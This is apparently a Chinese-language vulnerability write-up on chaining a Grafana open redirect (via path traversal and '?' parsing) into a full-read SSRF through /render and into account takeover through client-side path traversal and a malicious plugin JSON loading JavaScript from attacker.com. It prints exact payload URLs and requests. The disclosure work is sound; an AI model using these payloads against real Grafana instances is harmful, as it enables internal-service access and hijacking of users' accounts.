以观书法
108.85M · 2026-02-05
摘要
当Web应用程序接收一个URL参数,并在未经验证的情况下将用户重定向到该指定URL时,就会发生开放重定向。
/redirect?url= --> (302 重定向) -->
这本身看起来可能并不危险,但此类漏洞是发现两个独立漏洞的起点:一个全读SSRF和一个账户接管漏洞。
在这篇文章中,我将逐步详细介绍发现它们的完整过程。
Grafana是一个开源分析平台,主要使用Go和TypeScript构建,用于可视化来自Prometheus和InfluxDB等来源的数据。
我认为在这个Web应用程序中寻找漏洞将是一个很好的挑战,因此我下载了源代码并开始调试——尽管这是我第一次使用Go。我决定专注于应用程序的未认证部分。
我查看了 api/api.go 中定义的所有未认证端点...
// 未登录视图
r.Get("/logout", hs.Logout)
r.Post("/login", requestmeta.SetOwner(requestmeta.TeamAuth), quota(string...
r.Get("/login/:name", quota(string(auth.QuotaTargetSrv)), hs.OAuthLogin)
r.Get("/login", hs.LoginView)
r.Get("", hs.Index)
// 已认证视图
r.Get("/", reqSignedIn, hs.Index)
r.Get("/profile/", reqSignedInNoAnonymous, hs.Index)
...
我甚至深入挖掘以检查应用程序中使用的中间件。就在这时,我遇到了一个负责处理静态路由的函数——它引起了我的注意。
func staticHandler(ctx *web.Context, log log.Logger, opt StaticOptions) bool {
if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" {
return false
}
file := ctx.Req.URL.Path
for _, p := range opt.Exclude {
if file == p {
return false
}
}
// 如果有前缀,则通过剥离前缀来过滤请求
if opt.Prefix != "" {
if !strings.HasPrefix(file, opt.Prefix) {
return false
}
file = file[len(opt.Prefix):]
if file != "" && file[0] != '/' {
return false
}
}
f, err := opt.FileSystem.Open(file)
if err != nil {
return false
}
..............
}
该函数用于根据用户输入从系统中检索文件。自然地,我的第一个想法是尝试使用像 ../ 这样的路径遍历技术加载任意文件。
我将向你解释所有代码和现有净化措施的流程(理解漏洞很重要):
因此,如果你请求 /public/file/../../../name,路径会被净化并解析为 /staticfiles/etc/etc/name,从而有效地阻止了对目标目录之外非预期文件的访问。
此外,如果解析后的最终路径指向一个文件夹,StaticHandler 函数会检查其中的默认文件——通常从该目录提供 /index.html。
if fi.IsDir() {
// 如果缺少尾部斜杠,则重定向。
if !strings.HasSuffix(ctx.Req.URL.Path, "/") {
path := fmt.Sprintf("%s/", ctx.Req.URL.Path)
if !strings.HasPrefix(path, "/") {
// 澄清这是一个相对于此服务器的路径
path = fmt.Sprintf("/%s", path)
} else {
// 以 // 或 / 开头的字符串会被浏览器解释为URL,而不是服务器相对路径
rePrefix := regexp.MustCompile(`^(?:/\|/+)`)
path = rePrefix.ReplaceAllString(path, "/")
}
http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
return true
}
file = path.Join(file, opt.IndexFile)
indexFile, err := opt.FileSystem.Open(file)
....
}
正如你所看到的,如果最终文件是一个目录,并且提供的路由(例如 /public/build)不是以 / 结尾,服务器会重定向到附加了尾部 / 的相同路径。
GET /public/build HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /public/build/
这种重定向行为正是开放重定向漏洞发生的地方,所以接下来让我们深入探讨。
我有一个场景,应用程序根据提供的路由进行重定向,因此最终的重定向URL将始终以 / 开头。我的目标是创建一个路由,当被请求时,重定向到一个有效的完整URL,并且该URL也以 / 开头,例如:
//attacker.com/... --> `//` 表示协议相对URL,使用与当前页面相同的协议(HTTPS)
/attacker.com/... --> `/` 做同样的事情
有效的目录
为了触发重定向功能,我需要一个以 /public/ 开头的路由,并且当传递给 opt.FileSystem.Open(file) 时,该路由能解析为一个有效的目录。
我从 /public/attacker.com/../.. 开始,它解析为空字符串 "",然后附加到 /staticfiles/etc/etc/,触发 if fi.isDir(){} 代码流。
/public/attacker.com/../.. --> /attacker.com/../.. --> "" --> /staticfiles/etc/etc/ + "" --> fi.isDir() TRUE
现在,我有了一种方法,可以注入任何将被 opt.FileSystem.Open(file) 解释为文件夹的有效载荷。
/public/{}/../..
不一致性
一旦进入 isDir() 部分,/public/attacker.com/../.. 路径就到达了 http.Redirect() 函数。问题是这个函数也会解析路径,导致重定向路径变为 /。
if fi.IsDir() {
...
// path 是 "/public/attacker.com/../.." 但最终重定向是 "/"
http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
return true
...
}
如果我请求 /public/attacker.com/../..
GET /public/attacker.com/../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /
所以,基本上,我需要创建一个路由,其中 /../.. 在加载文件时被 opt.FileSystem.Open(file) 解析,但在执行重定向时 http.Redirect() 中不被解析。
路径在每种情况下被解析的方式不同。
opt.FileSystem.Open(file) 期望一个系统文件路径。http.Redirect(path) 期望一个URL路径。问题就是答案?
opt.FileSystem.Open(file) 将 ? 视为普通字符。http.Redirect(path) 将 ? 解释为URL参数的开始。这意味着 /public/attacker.com/?/../../../.. 将这样被处理:
在 opt.FileSystem.Open() 中 --> /public/attacker.com/?/../../../.. 解析为 "" --> /staticfiles/etc/etc/ + "" 是一个有效的文件夹。
在 http.Redirect() 中 → /public/attacker.com/?/../../../.. --> ? 之后的任何内容都被视为查询字符串,不作为路径的一部分进行解析。
使用 ? -> %3f 进行请求:
GET /public/attacker.com/%3f/../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /public/attacker.com/?/../..
最终有效载荷
URL /public/attacker.com/?/../../../.. 需要被解析为一个以 / 开头的完整URL。
我简单地使用了这个路径:/public/../attacker.com/?/../../../..
当 http.Redirect() 解析路径时,它会移除 /public 部分。
请求:
GET /public/../attacker.com/%3f/../../../../../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /attacker.com/?/../../../../../..
那个开放重定向本身并没有严重的安全影响,所以我需要将其与另一个功能链接起来。
Grafana有一个名为 /render 的端点,用于根据提供的路径生成图像。
// 渲染
r.Get("/render/*", requestmeta.SetSLOGroup(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)
此端点使用无头浏览器来渲染用户指定的路由的HTML,它只接受相对URL路径 /route,不允许从绝对URL https://.... 渲染内容。
但是,如果我使用我发现的开放重定向来重定向到内部服务呢?
首先,我尝试加载 google.es 使用 /render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f..
然后我设置了一个外部无法访问的内部服务。
我尝试加载 127.0.0.1:1234 使用 /render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f..
利用这个漏洞,我能够完全读取内部服务。由于使用了浏览器进行渲染,我甚至可以通过制作一个针对内部服务的表单来发送 POST 请求。
Grafana在Intigriti上的公开漏洞赏金计划不包括 /render 端点,因为它默认未启用。此外,这个漏洞需要登录,所以我无法从中获得任何好处。
这可能是我为实现XSS和账户接管所利用过的最好的漏洞链。
客户端路径遍历
Grafana客户端代码的一个重要部分允许客户端路径遍历。
例如,当你在浏览器中加载 /invite/1 时,JavaScript会向 /api/user/invite/1 发出请求以获取邀请信息。
但是,如果你加载 /invite/..%2f..%2f..%2f..%2froute,JavaScript会解析路径遍历并最终加载 /route。
这创建了一个完美的场景,可以强制JavaScript加载开放重定向,进而从我的服务器获取一个特制的JSON。
但首先,我需要找到一个以不安全方式加载内容的端点,并利用它来执行JavaScript。
加载恶意JavaScript文件
你可以使用 /a/plugin-app/explore 来加载和管理插件应用。
此功能的JavaScript从URL中提取插件应用名称,并用它向 /api/plugins/plugin-app/settings 请求插件信息。
/api/plugins/plugin-app/settings 文件看起来像这样。
{
"name": "plugin-app",
"type": "app",
"id": "plugin-app",
"enabled": true,
"pinned": true,
"autoEnabled": true,
"module": "/modules/..../plugin-app.js", // 要加载的js文件
"baseUrl": "public/plugins/grafana-lokiexplore-app",
"info": {
"author": {
"name": "Grafana"
...
}
}
...
}
/a/plugin-app/explore 加载该文件,并执行 "module" 参数中提供的JavaScript。
/a/plugin-app/explore 存在客户端路径遍历漏洞,这允许我加载服务器上的任何路由,而不是 /api/plugin-app/settings。
这让我可以加载开放重定向,从而获取我自己的恶意JSON,其中包含我想要的任何JavaScript文件。
所以,基本上,我设置了自己的服务器,包含所有必要的JS和JSON文件。我只需要托管一个像这样的JSON:
{
"name": "ExploitPluginReq",
"type": "app",
"id": "grafana-lokiexplore-app",
"enabled": true,
"pinned": true,
"autoEnabled": true,
"module": "http://attacker.com/file?js=file", // 恶意js文件
"baseUrl": "public/plugins/grafana-lokiexplore-app",
"info": {
"author": {
...
}
}
...
}
并加载这个路由:/a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore,它利用了客户端路径遍历和开放重定向。
结果:
我的恶意JavaScript文件被执行,允许我更改受害者的电子邮件并重置他们的密码。
github.com/NightBloodz…
我一直认为Grafana是一个不可能被入侵的目标。它看起来如此复杂和安全——公平地说,它确实如此。
但发现这个漏洞证明,无论一个应用程序看起来多么安全,它总是有或者最终会有漏洞。
我无法通过向多个漏洞赏金计划报告来进一步升级这个漏洞,因为这两个利用路径都需要认证。FINISHED CSD0tFqvECLokhw9aBeRqvKIIiRnkL9yIza9szHEGEsgJQ2u/pg4kqWzexgckcGuCZ4G+G/isppsz+vpquPYF9IWRUby7c15zOEBYpQSS2FBudsxgaVCbpDSoPJQROt4Wjd1DExefN9AONM7bYep3g==